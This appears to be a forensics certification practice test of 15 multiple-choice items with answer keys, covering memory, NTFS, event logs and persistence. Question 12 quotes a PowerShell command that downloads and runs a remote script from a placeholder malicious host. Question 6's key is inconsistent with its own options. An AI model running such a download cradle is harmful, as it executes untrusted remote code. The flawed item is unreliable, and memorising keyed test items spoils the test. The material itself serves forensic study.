GCFA Practice Test 18 — 15 Questions

Question 1

You are analyzing a memory dump using Volatility. You suspect a rootkit has hooked the SSDT. Which memory structure is primarily accessed to verify system service dispatching integrity?

Accepted Answer

SSDT (System Service Descriptor Table). The System Service Descriptor Table (SSDT) maps system calls to kernel-mode functions. Rootkits often modify these pointers to intercept process execution. By comparing the SSDT addresses against the kernel's base image, analysts can identify unauthorized redirections. This is crucial for detecting stealthy malware that hides its presence by manipulating the standard system call flow, ensuring the integrity of core operating system operations.

Answer

IDT (Interrupt Descriptor Table)

Answer

GDT (Global Descriptor Table)

Answer

PTE (Page Table Entry)

Question 2

Refer to the exhibit. What can be inferred about the file activity?

Accepted Answer

The file was created and then populated with data.. The USN Journal logs multiple reasons for a single file entry. The 'File_Create' event followed by 'Data_Extend' indicates that a file was created and immediately populated with data. This is a common pattern for legitimate software installations or file writes. Identifying this sequence helps investigators differentiate between simple file creation and the actual writing of content, which is key to confirming if a file was just an empty shell or a functional payload.

Answer

The file was created and immediately deleted.

Answer

The file system is experiencing metadata corruption.

Answer

The timestamps reflect a timestomping attempt.

Question 3

An analyst observes a high volume of '4625' events for a single user account. What does this indicate and what is the appropriate initial response?

Accepted Answer

Indicates a brute-force attack; lock the account and investigate.. Event ID 4625 indicates failed logon attempts. A high volume often suggests a brute-force or password-spraying attack. The immediate response should be to isolate the account and investigate the source of the failures to prevent unauthorized access. This is a baseline security operation that every analyst must perform, as it is the most common indicator of credential-based attacks currently plaguing enterprise network environments.

Answer

Indicates a successful system update; no action required.

Answer

Indicates a malware infection; format the hard drive.

Answer

Indicates a network failure; check the cabling.

Question 4

Which technique is commonly used by attackers to maintain persistence on a Windows system that specifically targets the login process?

Accepted Answer

Loading a malicious Security Support Provider (SSP).. The 'Authentication Packages' or 'SSP' (Security Support Provider) mechanism is a common target for persistence. By loading a malicious DLL as an SSP, the attacker ensures that their code is loaded into the Local Security Authority Subsystem Service (LSASS) process every time the system boots. This grants the attacker deep-level persistence and the ability to capture credentials as they are processed, making it a highly effective and stealthy technique for maintaining long-term access.

Answer

Adding a shortcut to the Startup folder.

Answer

Modifying the Windows registry Run keys.

Answer

Installing a malicious browser extension.

Question 5

When analyzing the Windows Registry, what is the primary purpose of the 'SAM' hive?

Accepted Answer

It contains local user account data and password hashes.. The SAM (Security Accounts Manager) hive contains local user account information, including password hashes and group memberships. It is a critical target during forensic analysis for identifying user accounts, password history, and potential privilege escalation attempts. By extracting these hashes, analysts can perform offline cracking to reveal passwords, which is often necessary to understand the full extent of a compromised account's capability within the organization's network.

Answer

It stores the system's network configuration and IP addresses.

Answer

It tracks all executed application history.

Answer

It holds the logs for all system boot events.

Question 6

An investigator is analyzing a Windows 10 system and needs to correlate file system timestamps with other artifacts to build a comprehensive timeline. Which two of the following Windows artifacts can provide additional temporal context when combined with NTFS timestamps? (Choose two.)

Accepted Answer

Prefetch files. Windows Event Logs and Prefetch files provide independent temporal data that can be correlated with NTFS timestamps. Event logs record system and user activities, while prefetch shows application execution. Together, they enrich a timeline by providing context for file system changes, helping analysts understand the sequence of events.

Answer

$MFT

Answer

$LogFile

Answer

Registry hive files

Question 7

During an enterprise incident, your team identifies that an attacker has deployed a ransomware variant that encrypts files on a critical file server. The attacker also exfiltrated sensitive data before encryption. Which of the following best describes the appropriate containment strategy?

Accepted Answer

Immediately disconnect the file server from the network, preserve volatile memory, and then proceed with eradication and recovery after scoping the full extent of the compromise.. The correct approach is to contain the incident by disconnecting the server to stop further encryption and potential lateral movement, while preserving volatile memory for forensic analysis. It is essential to scope the full extent of the compromise before eradication and recovery, as the attacker may have other footholds. This balanced approach aligns with incident response best practices for ransomware with data exfiltration.

Answer

Isolate the file server from the network by disabling its network interface and then restore from the most recent backup.

Answer

Shut down the file server immediately to stop the encryption process and prevent the attacker from accessing any further data.

Answer

Leave the server online to monitor the attacker's activity and gather more intelligence, while blocking outbound traffic to known command-and-control servers.

Question 8

Which memory artifact is most useful for reconstructing the command-line arguments used to execute a suspicious program?

Accepted Answer

The Process Environment Block (PEB). Reconstructing command-line arguments is essential for understanding the specific intent of a malicious executable. The Process Environment Block (PEB) contains the command line string passed to a process at the time of its creation. By extracting this structure from memory, an analyst can reveal hidden parameters, remote IP addresses, or command flags that the malware author attempted to hide from the visual process list, providing critical context for the investigation.

Answer

The Master File Table (MFT)

Answer

The Registry Hive files

Answer

The System Service Descriptor Table (SSDT)

Question 9

Which of the following describes the 'MAC' in MACB times during timeline analysis?

Accepted Answer

Modification, Access, Change, and Birth.. MACB refers to the four primary timestamps: Modification, Access, Change, and Birth (Creation). These are the fundamental metadata points recorded by file systems. Understanding these timestamps is the core of timeline forensics, as they allow analysts to reconstruct the sequence of events. Each timestamp provides a different perspective on how a file was interacted with, enabling the investigator to distinguish between reading, editing, and creating files on the disk.

Answer

Memory, Application, Cache, and Buffer.

Answer

Main, Auxiliary, Configuration, and Backup.

Answer

Master, Allocation, Cluster, and Bit-map.

Question 10

Refer to the exhibit. An attacker attempts to use a compromised identity with this policy to modify a file in the 'sensitive-data' bucket. What is the expected outcome?

Accepted Answer

The request is denied by the service.. The IAM policy explicitly grants the 's3:GetObject' permission, which allows reading files but not modifying them. Because IAM policies follow the principle of least privilege and default to deny, any action not explicitly granted—such as 's3:PutObject' or 's3:DeleteObject'—will be denied. This is crucial for responders to understand, as it confirms that the attacker's write-based actions were blocked, potentially limiting the impact to data exfiltration rather than data tampering.

Answer

The request is successful due to default wide permissions.

Answer

The request is successful because the resource is a bucket wildcard.

Answer

The request is denied only if MFA is enabled.

Question 11

An analyst is reviewing a Windows 10 system and wants to determine the last time a user accessed a specific file. The analyst examines the file's NTFS standard information attributes and finds that the last access time is not updated. What is the most likely reason for this?

Accepted Answer

NTFS last access time updates are disabled by default.. By default, Windows disables last access time updates to reduce disk I/O. The registry value NtfsDisableLastAccessUpdate controls this, and it is set to 1 on most modern systems. As a result, the last access time may not reflect recent file accesses, making it unreliable for forensic purposes unless the setting has been changed.

Answer

The file has the 'N' attribute set.

Answer

The file system is mounted as read-only.

Answer

The file is on a network share.

Question 12

A security analyst is examining a Windows 10 system and finds a scheduled task named 'Updater' that runs 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"' every hour. The task is configured to run under the SYSTEM account. Which of the following best describes the malicious technique being used?

Accepted Answer

The scheduled task is using a PowerShell download cradle to retrieve and execute a remote payload, which is a common fileless malware technique.. The command uses Invoke-Expression to download and execute a PowerShell script from a remote URL, which is a download cradle. This allows the attacker to run arbitrary code without writing it to disk, making it fileless. The scheduled task provides persistence, running the command hourly as SYSTEM. This combination is a common malware technique.

Answer

The scheduled task is using a PowerShell logging bypass to avoid detection, which is a common defense evasion technique.

Answer

The scheduled task is using a PowerShell profile script to maintain persistence, which is a common technique for surviving reboots.

Answer

The scheduled task is using a PowerShell remoting command to execute a script on a remote system, which is a common lateral movement technique.

Question 13

While reviewing a Windows host, you find a 4688 process creation event where the new process is C:\Windows\System32\svchost.exe but the parent process image is C:\Users\bob\AppData\Local\Temp\update.exe. The command line for svchost.exe contains -k netsvcs with no additional arguments. Which assessment is best supported?

Accepted Answer

The parent process path indicates a likely masquerading or code-injection event that warrants memory analysis of svchost.exe.. A user Temp directory as the parent of svchost.exe contradicts the normal services.exe parent-child relationship and points to injection or a masquerading loader. The correct-looking command line is part of the deception. Memory acquisition and module inspection of the process will confirm whether the service host is hosting malicious code.

Answer

The command line is malformed and shows svchost.exe was invoked without the required -k service group.

Answer

The event is a false positive caused by Sysmon logging the wrong parent process for service hosts.

Answer

This is normal behavior because svchost.exe is frequently launched from user directories during updates.

Question 14

An analyst is investigating a Windows 10 system where an attacker allegedly used a remote access tool (RAT) that persists by modifying the Image File Execution Options (IFEO) registry key. The analyst wants to identify which executable was hijacked. Which registry location should the analyst examine to find the Debugger value that redirects execution?

Accepted Answer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. IFEO hijacking involves creating a subkey under Image File Execution Options named after a legitimate executable and setting a Debugger value to a malicious program. This causes Windows to launch the debugger instead of the intended executable. The correct registry path is HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. Other options are unrelated persistence or forensic artifacts.

Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts

Answer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

Question 15

An analyst is examining an NTFS volume and notices a discrepancy where the $Standard_Information attribute modification time is earlier than the $File_Name attribute modification time. What does this specific pattern indicate about the file's history?

Accepted Answer

The file's metadata was likely modified by an anti-forensics tool.. This pattern is a classic indicator of 'timestomping' or anti-forensics activity. The $Standard_Information attribute is easily modified by user-level APIs, while the $File_Name attribute is typically updated only by the system kernel during move or rename operations. When an attacker resets the $Standard_Information timestamps to blend in, the $File_Name attribute often retains the true metadata, revealing the manipulation.

Answer

The file was compressed by the NTFS engine.

Answer

The file was moved across different NTFS volumes.

Answer

The file was recently recovered from the Recycle Bin.